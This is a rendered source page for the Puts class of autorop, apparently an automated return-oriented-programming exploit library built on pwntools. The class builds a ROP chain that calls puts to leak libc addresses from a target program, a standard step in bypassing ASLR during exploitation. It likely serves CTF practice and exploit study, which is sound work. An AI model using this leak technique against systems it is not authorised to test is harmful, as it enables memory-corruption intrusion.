Source code for autorop.leak.Puts

from autorop import PwnState, Pipe, arutil, constants
from pwn import ROP
from typing import Iterable


[docs]class Puts(Pipe):
[docs] def __init__( self, short: bool = False, leak_symbols: Iterable[str] = ["__libc_start_main", "puts"], ): """Leak libc addresses using ``puts``. This returns a callable which opens a new target, and leaks the addresses of (by default) ``__libc_start_main`` and ``puts`` using ``puts``, placing them in ``state.leaks``. Arguments: short: Whether the attack should be minimised i.e. leak only one address. leak_symbols: What symbols should be leaked. Returns: Function which takes the state, and returns the mutated ``PwnState``, with the following updated - ``target``: The fresh instance of target from which we got a successful leak. Hopefully it can still be interacted with. - ``leaks``: Updated with ``"symbol": address`` pairs for each address that was leaked. """ super().__init__((short, leak_symbols)) self.leak_symbols = leak_symbols if short: self.leak_symbols = [next(iter(leak_symbols))]
[docs] def __call__(self, state: PwnState) -> PwnState: """Transform the given state with the results of the leak via ``printf``. Arguments: state: The current ``PwnState``. Returns: The mutated ``PwnState``, with the following updated - ``target``: The fresh instance of target from which we got a successful leak. Hopefully it can still be interacted with. - ``leaks``: Updated with the ``"symbol": address`` pairs for each function address of libc that was leaked. """ def leaker(rop: ROP, address: int) -> ROP: arutil.align_call(rop, "puts", [address]) return rop return arutil.leak_helper(state, leaker, self.leak_symbols)